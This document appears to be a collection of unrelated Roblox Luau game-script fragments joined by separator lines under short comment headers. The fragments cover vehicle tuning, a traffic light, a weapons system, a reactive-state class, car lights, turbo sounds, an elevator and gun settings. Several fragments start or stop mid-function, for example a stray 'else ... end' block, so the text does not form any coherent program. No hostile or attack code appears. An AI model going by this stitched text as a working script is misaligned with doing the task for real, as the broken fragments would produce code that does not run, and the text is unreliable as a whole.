--[[ 5 ]] 1.11 ,
--[[ 6 ]] .95 ,
--[[ 7 ]] .84 ,
}
Tune.FDMult = 1 -- -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
---Green Script---
|
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
while true do
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0
script.Parent.Gre.Transparency = 0.9
wait (1)
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0
wait (30)
script.Parent.Red.Transparency = 0.9
script.Parent.Yel.Transparency = 0
script.Parent.Gre.Transparency = 0.9
wait (4)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (3)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (1)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (30)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (4)
script.Parent.Red.Transparency = 0
script.Parent.Yel.Transparency = 0.9
script.Parent.Gre.Transparency = 0.9
wait (3)
end
|
--- Recalculate the window height
|
function Window:UpdateWindowHeight()
-- ListContentSize.Y + Offset
local windowHeight = Gui.UIListLayout.AbsoluteContentSize.Y
+ Gui.UIPadding.PaddingTop.Offset
+ Gui.UIPadding.PaddingBottom.Offset
-- offsetY = clamp(windowHeight, 0, 300)
Gui.Size = UDim2.new(Gui.Size.X.Scale, Gui.Size.X.Offset, 0, math.clamp(windowHeight, 0, WINDOW_MAX_HEIGHT))
Gui.CanvasPosition = Vector2.new(0, windowHeight)
end
|
-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))
|
function WeaponsSystem.onWeaponAdded(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if not weapon then
WeaponsSystem.createWeaponForInstance(weaponInstance)
end
end
function WeaponsSystem.onWeaponRemoved(weaponInstance)
local weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)
if weapon then
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons[weaponInstance] = nil
end
function WeaponsSystem.getRemoteEvent(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteEvent = WeaponsSystem.remoteEvents[name]
if IsServer then
if not remoteEvent then
warn("No RemoteEvent named ", name)
return nil
end
return remoteEvent
else
if not remoteEvent then
remoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteEvent
end
end
function WeaponsSystem.getRemoteFunction(name)
if not WeaponsSystem.networkFolder then
return
end
local remoteFunc = WeaponsSystem.remoteFunctions[name]
if IsServer then
if not remoteFunc then
warn("No RemoteFunction named ", name)
return nil
end
return remoteFunc
else
if not remoteFunc then
remoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)
end
return remoteFunc
end
end
function WeaponsSystem.setWeaponEquipped(weapon, equipped)
assert(not IsServer, "WeaponsSystem.setWeaponEquipped should only be called on the client.")
if not weapon then
return
end
local lastWeapon = WeaponsSystem.currentWeapon
local hasWeapon = false
local weaponChanged = false
if lastWeapon == weapon then
if not equipped then
WeaponsSystem.currentWeapon = nil
hasWeapon = false
weaponChanged = true
else
weaponChanged = false
end
else
if equipped then
WeaponsSystem.currentWeapon = weapon
hasWeapon = true
weaponChanged = true
end
end
if WeaponsSystem.camera then
WeaponsSystem.camera:setEnabled(equipped)
WeaponsSystem.camera:resetZoomFactor()
WeaponsSystem.camera:setHasScope(false)
if WeaponsSystem.currentWeapon then
WeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue("ZoomFactor", 1.1))
WeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue("HasScope", false))
end
end
if WeaponsSystem.gui then
WeaponsSystem.gui:setEnabled(hasWeapon)
if WeaponsSystem.currentWeapon then
WeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue("CrosshairScale", 1))
else
WeaponsSystem.gui:setCrosshairWeaponScale(1)
end
end
if weaponChanged then
WeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)
end
end
function WeaponsSystem.getHumanoid(part)
while part and part ~= workspace do
if part:IsA("Model") and part.PrimaryPart and part.PrimaryPart.Name == "HumanoidRootPart" then
return part:FindFirstChildOfClass("Humanoid")
end
part = part.Parent
end
end
function WeaponsSystem.getPlayerFromHumanoid(humanoid)
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and humanoid:IsDescendantOf(player.Character) then
return player
end
end
end
local function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)
if target:IsA("Humanoid") then
target:TakeDamage(amount)
end
end
function WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)
if not target or ancestorHasTag(target, "WeaponsSystemIgnore") then
return
end
if IsServer then
if target:IsA("Humanoid") and dealer:IsA("Player") and dealer.Character then
local dealerHumanoid = dealer.Character:FindFirstChildOfClass("Humanoid")
local targetPlayer = Players:GetPlayerFromCharacter(target.Parent)
if dealerHumanoid and target ~= dealerHumanoid and targetPlayer then
-- Trigger the damage indicator
WeaponData:FireClient(targetPlayer, "HitByOtherPlayer", dealer.Character.HumanoidRootPart.CFrame.Position)
end
end
-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.
-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)
-- ..The default weapons pass in that data
local handler = _damageCallback or _defaultDamageCallback
handler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)
end
end
local function _defaultGetTeamCallback(player)
return 0
end
function WeaponsSystem.getTeam(player)
local handler = _getTeamCallback or _defaultGetTeamCallback
return handler(player)
end
function WeaponsSystem.playersOnDifferentTeams(player1, player2)
if player1 == player2 or player1 == nil or player2 == nil then
-- This allows players to damage themselves and NPC's
return true
end
local player1Team = WeaponsSystem.getTeam(player1)
local player2Team = WeaponsSystem.getTeam(player2)
return player1Team == 0 or player1Team ~= player2Team
end
return WeaponsSystem
|
--//pc
|
ui.InputBegan:Connect(function(iu)
if iu.KeyCode == Enum.KeyCode.Tab then
f:TweenPosition(UDim2.new(0.375, 0, 0.007, 0), "InOut", "Sine", 0.1)
end
end)
ui.InputEnded:Connect(function(iu)
f:TweenPosition(UDim2.new(0.375, 0, -1, 0), "InOut", "Sine", 0.1)
end)
|
--[[
Called when the original table is changed.
This will firstly find any keys meeting any of the following criteria:
- they were not previously present
- their associated value has changed
- a dependency used during generation of this value has changed
It will recalculate those key/value pairs, storing information about any
dependencies used in the processor callback during value generation, and
save the new value to the output array. If it is overwriting an older value,
that older value will be passed to the destructor for cleanup.
Finally, this function will find keys that are no longer present, and remove
their values from the output table and pass them to the destructor.
]]
|
function class:update(): boolean
local inputIsState = self._inputIsState
local oldInput = self._oldInputTable
local newInput = self._inputTable
local oldOutput = self._oldOutputTable
local newOutput = self._outputTable
if inputIsState then
newInput = newInput:get(false)
end
local didChange = false
-- clean out main dependency set
for dependency in pairs(self.dependencySet) do
dependency.dependentSet[self] = nil
end
self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
table.clear(self.dependencySet)
-- if the input table is a state object, add as dependency
if inputIsState then
self._inputTable.dependentSet[self] = true
self.dependencySet[self._inputTable] = true
end
-- STEP 1: find keys that changed value or were not previously present
for key, newInValue in pairs(newInput) do
-- get or create key data
local keyData = self._keyData[key]
if keyData == nil then
keyData = {
-- we don't need strong references here - the main set does that
-- for us, so let's not introduce unnecessary leak opportunities
dependencySet = setmetatable({}, WEAK_KEYS_METATABLE),
oldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE),
dependencyValues = setmetatable({}, WEAK_KEYS_METATABLE)
}
self._keyData[key] = keyData
end
-- if this value is either new or different, we should recalculate it
local shouldRecalculate = oldInput[key] ~= newInValue
if not shouldRecalculate then
-- check if dependencies have changed
for dependency, oldValue in pairs(keyData.dependencyValues) do
-- if the dependency changed value, then this needs recalculating
if oldValue ~= dependency:get(false) then
shouldRecalculate = true
break
end
end
end
-- if we should recalculate the value by this point, do that
if shouldRecalculate then
keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet
table.clear(keyData.dependencySet)
local oldOutValue = oldOutput[key]
local processOK, newOutValue = captureDependencies(keyData.dependencySet, self._processor, key, newInValue)
if processOK then
-- if the calculated value has changed
if oldOutValue ~= newOutValue then
didChange = true
-- clean up the old calculated value
if oldOutValue ~= nil then
local destructOK, err = xpcall(self._destructor, parseError, oldOutValue)
if not destructOK then
logErrorNonFatal("pairsDestructorError", err)
end
end
end
-- make the old input match the new input
oldInput[key] = newInValue
-- store the new output value for next time we run the output comparison
oldOutput[key] = newOutValue
-- store the new output value in the table we give to the user
newOutput[key] = newOutValue
else
-- restore old dependencies, because the new dependencies may be corrupt
keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet
logErrorNonFatal("pairsProcessorError", newOutValue)
end
end
-- save dependency values and add to main dependency set
for dependency in pairs(keyData.dependencySet) do
keyData.dependencyValues[dependency] = dependency:get(false)
self.dependencySet[dependency] = true
dependency.dependentSet[self] = true
end
end
-- STEP 2: find keys that were removed
for key in pairs(oldInput) do
-- if this key doesn't have an equivalent in the new input table
if newInput[key] == nil then
-- clean up the old calculated value
local oldOutValue = oldOutput[key]
if oldOutValue ~= nil then
local destructOK, err = xpcall(self._destructor, parseError, oldOutValue)
if not destructOK then
logErrorNonFatal("pairsDestructorError", err)
end
end
-- make the old input match the new input
oldInput[key] = nil
-- remove the reference to the old output value
oldOutput[key] = nil
-- remove the value from the table we give to the user
newOutput[key] = nil
-- remove key data
self._keyData[key] = nil
end
end
return didChange
end
local function ComputedPairs<K, VI, VO>(
inputTable: PubTypes.CanBeState<{[K]: VI}>,
processor: (K, VI) -> VO,
destructor: (VO) -> ()?
): Types.ComputedPairs<K, VI, VO>
-- if destructor function is not defined, use the default cleanup function
if destructor == nil then
destructor = (cleanup) :: (VO) -> ()
end
local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function"
local self = setmetatable({
type = "State",
kind = "ComputedPairs",
dependencySet = {},
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_oldDependencySet = {},
_processor = processor,
_destructor = destructor,
_inputIsState = inputIsState,
_inputTable = inputTable,
_oldInputTable = {},
_outputTable = {},
_oldOutputTable = {},
_keyData = {}
}, CLASS_METATABLE)
initDependency(self)
self:update()
return self
end
return ComputedPairs
|
-- Small bug fix where the sound would start playing after the player joined
|
player.CharacterAdded:Connect(function()
task.wait(1)
if currentSound.IsPlaying then
currentSound:Stop()
end
end)
print("Walking sounds successfully loaded!")
|
-- Testing AC FE support
|
local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0
event.OnServerEvent:connect(function(player,data)
if data['ToggleLight'] then
if car.Body.Light.on.Value==true then
car.Body.Light.on.Value=false
else
car.Body.Light.on.Value=true
end
elseif data['EnableBrakes'] then
car.Body.Brakes.on.Value=true
elseif data['DisableBrakes'] then
car.Body.Brakes.on.Value=false
elseif data['ToggleLeftBlink'] then
if car.Body.Left.on.Value==true or car.Body.Right.on.Value==true then
car.Body.Left.on.Value=false
car.Body.Right.on.Value=false
else
car.Body.Left.on.Value=true
end
elseif data['ToggleRightBlink'] then
if car.Body.Right.on.Value==true or car.Body.Left.on.Value==true then
car.Body.Right.on.Value=false
car.Body.Left.on.Value=false
else
car.Body.Right.on.Value=true
end
elseif data['ReverseOn'] then
car.Body.Reverse.on.Value=true
elseif data['ReverseOff'] then
car.Body.Reverse.on.Value=false
elseif data['ToggleStandlicht'] then
if LichtNum == 0 then
LichtNum = 1
car.Body.Headlight.on.Value = true
elseif LichtNum == 1 then
LichtNum = 2
car.Body.Highlight.on.Value = true
else
LichtNum = 0
car.Body.Headlight.on.Value = false
car.Body.Highlight.on.Value = false
end
elseif data["ToggleHazards"] then
if car.Body.Left.on.Value == true or car.Body.Right.on.Value==true then
car.Body.Left.on.Value=false
car.Body.Right.on.Value=false
else
car.Body.Left.on.Value=true
car.Body.Right.on.Value=true
end
end
end)
|
-- Local player
|
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:wait()
local PlayerGui = player:WaitForChild("PlayerGui")
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 278 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 3000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 9000 -- Use sliders to manipulate values
Tune.Redline = 10000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Natural" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger
"Super" : Supercharger ]]
Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
--Misc
Tune.RevAccel = 300 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[[
Fired when state is left
]]
|
function Transitions.onLeaveSpectating(stateMachine, event, from, to, playerComponent)
PlayerSpectating.leave(stateMachine, playerComponent)
end
|
--[[
___ _______ _ _______
/ _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / /
/_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/
SecondLogic @ Inspare
Avxnturador @ Novena
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local BOVact = 0
local BOVact2 = 0
local BOV_Loudness = 5 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.9 --max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
script:WaitForChild("Whistle")
script:WaitForChild("BOV")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
end
end)
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = 0
if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end
while wait() do
local psi = (((script.Parent.Values.Boost.Value)/(_Tune.Boost*_TCount))*2)
BOVact = math.floor(psi*20)
WP = (psi)
WV = (psi/4)*TurboLoudness
BP = (1-(-psi/20))*BOV_Pitch
BV = (((-0.5+((psi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))
if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
if FE then
handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
else
car.DriveSeat.Whistle.Pitch = WP
car.DriveSeat.Whistle.Volume = WV
car.DriveSeat.BOV.Pitch = BP
car.DriveSeat.BOV.Volume = BV
end
if (tick()-ticc) >= 0.1 then
BOVact2 = math.floor(psi*20)
ticc = tick()
end
end
|
--!strict
--[=[
@function insert
@within Array
@param array {T} -- The array to insert the value into.
@param index number -- The index to insert the value at (can be negative).
@param values ...T -- The values to insert.
@return {T} -- The array with the value inserted.
Inserts the given values into an array at the given index, shifting all values after it to the right. If the index is negative (or 0), it is counted from the end of the array.
If the index to insert at is out of range, the array is not modified.
```lua
local array = { 1, 2, 3 }
local newArray = Insert(array, 2, 4) -- { 1, 4, 2, 3 }
```
]=]
|
local function insert<T>(array: { T }, index: number, ...: T): { T }
local length = #array
if index < 1 then
index += length + 1
end
if index > length then
if index > length + 1 then
return array
end
index = length + 1
length += 1
end
local result = {}
for i = 1, length do
if i == index then
for _, value in ipairs({ ... }) do
table.insert(result, value)
end
end
table.insert(result, array[i])
end
return result
end
return insert
|
--// Bullet Physics
|
BulletPhysics = Vector3.new(-10,55,0); -- Drop fixation: Lower number = more drop
BulletSpeed = 2725; -- Bullet Speed
BulletSpread = 1; -- How much spread the bullet has
ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
ExploSpeed = 600; -- Speed for explosive rounds
BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
|
--// Events
|
local L_105_ = L_20_:WaitForChild('Equipped')
local L_106_ = L_20_:WaitForChild('ShootEvent')
local L_107_ = L_20_:WaitForChild('DamageEvent')
local L_108_ = L_20_:WaitForChild('CreateOwner')
local L_109_ = L_20_:WaitForChild('Stance')
local L_110_ = L_20_:WaitForChild('HitEvent')
local L_111_ = L_20_:WaitForChild('KillEvent')
local L_112_ = L_20_:WaitForChild('AimEvent')
local L_113_ = L_20_:WaitForChild('ExploEvent')
local L_114_ = L_20_:WaitForChild('AttachEvent')
local L_115_ = L_20_:WaitForChild('ServerFXEvent')
local L_116_ = L_20_:WaitForChild('ChangeIDEvent')
|
-- -1 = Closed
-- 0 = Active
-- 1 = Open
|
function getItems()
for _,v in pairs(script.Parent:GetChildren()) do
if ((v:IsA("BasePart")) and (v.Name == "Bar")) then
table.insert(_items,v)
end
end
end
function main()
local d = door
door = 0
script.Parent.Button.BrickColor = BrickColor.new("New Yeller")
for i = 0,5,0.05 do
for _,v in pairs(_items) do
v.CFrame = v.CFrame * CFrame.new((0.20*(-d)),0,0)
end
wait()
end
if (d == (-1)) then
script.Parent.Button.BrickColor = BrickColor.new("Really red")
elseif (d == 1) then
script.Parent.Button.BrickColor = BrickColor.new("Bright green")
end
door = d
end
script.Parent.Button.Click.MouseClick:connect(function()
if (door == 0) then return end
door = (door*(-1))
main()
end)
getItems()
|
--FasCast Setup--
|
if workspace:FindFirstChild("IgnoreFolder") == nil then
local IgnoreList = Instance.new("Folder",workspace)
IgnoreList.Name = "IgnoreFolder"
end
local FastCast = require(script:WaitForChild("FastCastRedux"))
local Params = RaycastParams.new()
Params.FilterType = Enum.RaycastFilterType.Blacklist -- just the type of filter
Params.FilterDescendantsInstances = {workspace.IgnoreFolder,marine} -- you can add more things to this list btw
|
-- Convenience function so that calling code does not have to first get the activeController
-- and then call GetMoveVector on it. When there is no active controller, this function returns the
-- zero vector
|
function ControlModule:GetMoveVector(): Vector3
if self.activeController then
return self.activeController:GetMoveVector()
end
return Vector3.new(0,0,0)
end
function ControlModule:GetActiveController()
return self.activeController
end
function ControlModule:EnableActiveControlModule()
if self.activeControlModule == ClickToMove then
-- For ClickToMove, when it is the player's choice, we also enable the full keyboard controls.
-- When the developer is forcing click to move, the most keyboard controls (WASD) are not available, only jump.
self.activeController:Enable(
true,
Players.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice,
self.touchJumpController
)
elseif self.touchControlFrame then
self.activeController:Enable(true, self.touchControlFrame)
else
self.activeController:Enable(true)
end
end
function ControlModule:Enable(enable: boolean?)
if not self.activeController then
return
end
if enable == nil then
enable = true
end
if enable then
self:EnableActiveControlModule()
else
self:Disable()
end
end
|
--nothing
|
else
script.Parent.Parent.Parent.Torso.Cable:remove()
script.Parent.Parent.Parent.Torso.Snap:play()
script.Parent.Parent.Parent.Torso.Snap:remove()
script.Parent.Parent.Parent.Humanoid.WalkSpeed = script.Parent.WS.Value
script.Parent.Parent:remove()
end
end
connection = script.Parent.Parent.Touched:connect(onTouched)
|
-------------------------
|
function DoorClose()
if Shaft00.MetalDoor.CanCollide == false then
Shaft00.MetalDoor.CanCollide = true
while Shaft00.MetalDoor.Transparency > 0.0 do
Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed.
end
if Shaft01.MetalDoor.CanCollide == false then
Shaft01.MetalDoor.CanCollide = true
while Shaft01.MetalDoor.Transparency > 0.0 do
Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft02.MetalDoor.CanCollide == false then
Shaft02.MetalDoor.CanCollide = true
while Shaft02.MetalDoor.Transparency > 0.0 do
Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft03.MetalDoor.CanCollide == false then
Shaft03.MetalDoor.CanCollide = true
while Shaft03.MetalDoor.Transparency > 0.0 do
Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft04.MetalDoor.CanCollide == false then
Shaft04.MetalDoor.CanCollide = true
while Shaft04.MetalDoor.Transparency > 0.0 do
Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft05.MetalDoor.CanCollide == false then
Shaft05.MetalDoor.CanCollide = true
while Shaft05.MetalDoor.Transparency > 0.0 do
Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft06.MetalDoor.CanCollide == false then
Shaft06.MetalDoor.CanCollide = true
while Shaft06.MetalDoor.Transparency > 0.0 do
Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft07.MetalDoor.CanCollide == false then
Shaft07.MetalDoor.CanCollide = true
while Shaft07.MetalDoor.Transparency > 0.0 do
Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft08.MetalDoor.CanCollide == false then
Shaft08.MetalDoor.CanCollide = true
while Shaft08.MetalDoor.Transparency > 0.0 do
Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft09.MetalDoor.CanCollide == false then
Shaft09.MetalDoor.CanCollide = true
while Shaft09.MetalDoor.Transparency > 0.0 do
Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1
wait(0.000001)
end
end
if Shaft10.MetalDoor.CanCollide == false then
Shaft10.MetalDoor.CanCollide = true
while Shaft10.MetalDoor.Transparency > 0.0 do
Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft11.MetalDoor.CanCollide == false then
Shaft11.MetalDoor.CanCollide = true
while Shaft11.MetalDoor.Transparency > 0.0 do
Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft12.MetalDoor.CanCollide == false then
Shaft12.MetalDoor.CanCollide = true
while Shaft12.MetalDoor.Transparency > 0.0 do
Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft13.MetalDoor.CanCollide == false then
Shaft13.MetalDoor.CanCollide = true
while Shaft13.MetalDoor.Transparency > 0.0 do
Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
end
function onClicked()
DoorClose()
end
script.Parent.MouseButton1Click:connect(onClicked)
script.Parent.MouseButton1Click:connect(function()
if clicker == true
then clicker = false
else
return
end
end)
script.Parent.MouseButton1Click:connect(function()
Car.Touched:connect(function(otherPart)
if otherPart == Elevator.Floors.F10
then StopE() DoorOpen()
end
end)end)
function StopE()
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
Car.BodyPosition.position = Elevator.Floors.F10.Position
clicker = true
end
function DoorOpen()
while Shaft09.MetalDoor.Transparency < 1.0 do
Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency + .1
wait(0.000001)
end
Shaft09.MetalDoor.CanCollide = false
end
|
--스킬 설정:
|
local skillName = "Meteor" --스킬 파트 이름
local Sound = "Meteor" --적용할 사운드 이름 (추천)
local Sound2 = "Bomb" --적용할 사운드 이름 (추천)
local CoolTime = 5 --스킬 재사용 대기시간
local Damage = 20 --스킬 데미지
local DamageCoolTime = 3 --스킬 데미지 쿨타임 (추천)
|
-- Draw world
|
runService.Stepped:Connect(function()
if toggle then
SetPos()
end
end)
game.Players.PlayerAdded:Connect(function(plr)
plr.CharacterAdded:Connect(function(char)
wait(0.1)
char:SetPrimaryPartCFrame(CFrame.new(0, 100, 0) * CFrame.Angles(0, 0, 0))
end)
end)
|
--local camera = game.Workspace.CurrentCamera
|
local player = game.Players.LocalPlayer
local character = player.Character
local humanoidRootPart = character.HumanoidRootPart
local car = script:WaitForChild("Car").Value
local stats = car:WaitForChild("Configurations")
local Raycast = require(car.CarScript.RaycastModule)
|
--[=[
Transforms the brio into an observable that emits the initial value of the brio, and then another value on death
@param brio Brio<T> | T
@param emitOnDeathValue U
@return Observable<T | U>
]=]
|
function RxBrioUtils.toEmitOnDeathObservable(brio, emitOnDeathValue)
if not Brio.isBrio(brio) then
return Rx.of(brio)
else
return Observable.new(function(sub)
if brio:IsDead() then
sub:Fire(emitOnDeathValue)
sub:Complete()
else
sub:Fire(brio:GetValue())
-- Firing killed the subscription
if not sub:IsPending() then
return
end
-- Firing this event actually killed the brio
if brio:IsDead() then
sub:Fire(emitOnDeathValue)
sub:Complete()
else
return brio:GetDiedSignal():Connect(function()
sub:Fire(emitOnDeathValue)
sub:Complete()
end)
end
end
end)
end
end
|
-- Key that user can press to interact with game
|
local KEY1
if not IS_CONSOLE then
KEY1 = Enum.KeyCode.E
else
KEY1 = Enum.KeyCode.ButtonX
end
|
--------| Variables |--------
|
local escapemap = {}
local dictionary, length = {}, 0
local inited = false
|
----------//Gun System\\----------
|
local L_199_ = nil
char.ChildAdded:connect(function(Tool)
if Tool:IsA("Tool") and not Tool:FindFirstChild("ACS_Settings") then
PreviousTool = nil
canDrop = false
end
if Tool:IsA('Tool') and Humanoid.Health > 0 and not ToolEquip and Tool:FindFirstChild("ACS_Settings") ~= nil and (require(Tool.ACS_Settings).Type == 'Gun' or require(Tool.ACS_Settings).Type == 'Melee' or require(Tool.ACS_Settings).Type == 'Grenade') then
local L_370_ = true
if char:WaitForChild("Humanoid").Sit then
if char.Humanoid.SeatPart:IsA("VehicleSeat") and not gameRules.EquipInVehicleSeat then
L_370_ = false
elseif char.Humanoid.SeatPart:IsA("Seat") and not gameRules.EquipInSeat then
L_370_ = false
end
end
if L_370_ then
L_199_ = Tool
if not ToolEquip then
--pcall(function()
setup(Tool)
--end)
elseif ToolEquip then
pcall(function()
unset()
setup(Tool)
end)
end;
end;
end
end)
char.ChildRemoved:connect(function(Tool)
if Tool == WeaponTool then
if ToolEquip then
unset()
end
end
end)
Humanoid.Running:Connect(function(speed)
charspeed = speed
if speed > 0.1 then
running = true
else
running = false
end
end)
Humanoid.Swimming:Connect(function(speed)
if Swimming then
charspeed = speed
if speed > 0.1 then
running = true
else
running = false
end
end
end)
Humanoid.Died:Connect(function(speed)
TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()
ChangeStance = false
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
Equipped = 0
unset()
Evt.NVG:Fire(false)
end)
Humanoid.Seated:Connect(function(IsSeated, Seat)
if IsSeated and Seat and (Seat:IsA("VehicleSeat") or Seat:IsA("Seat")) then
if not gameRules.EquipInVehicleSeat then
unset()
Humanoid:UnequipTools()
end
CanLean = false
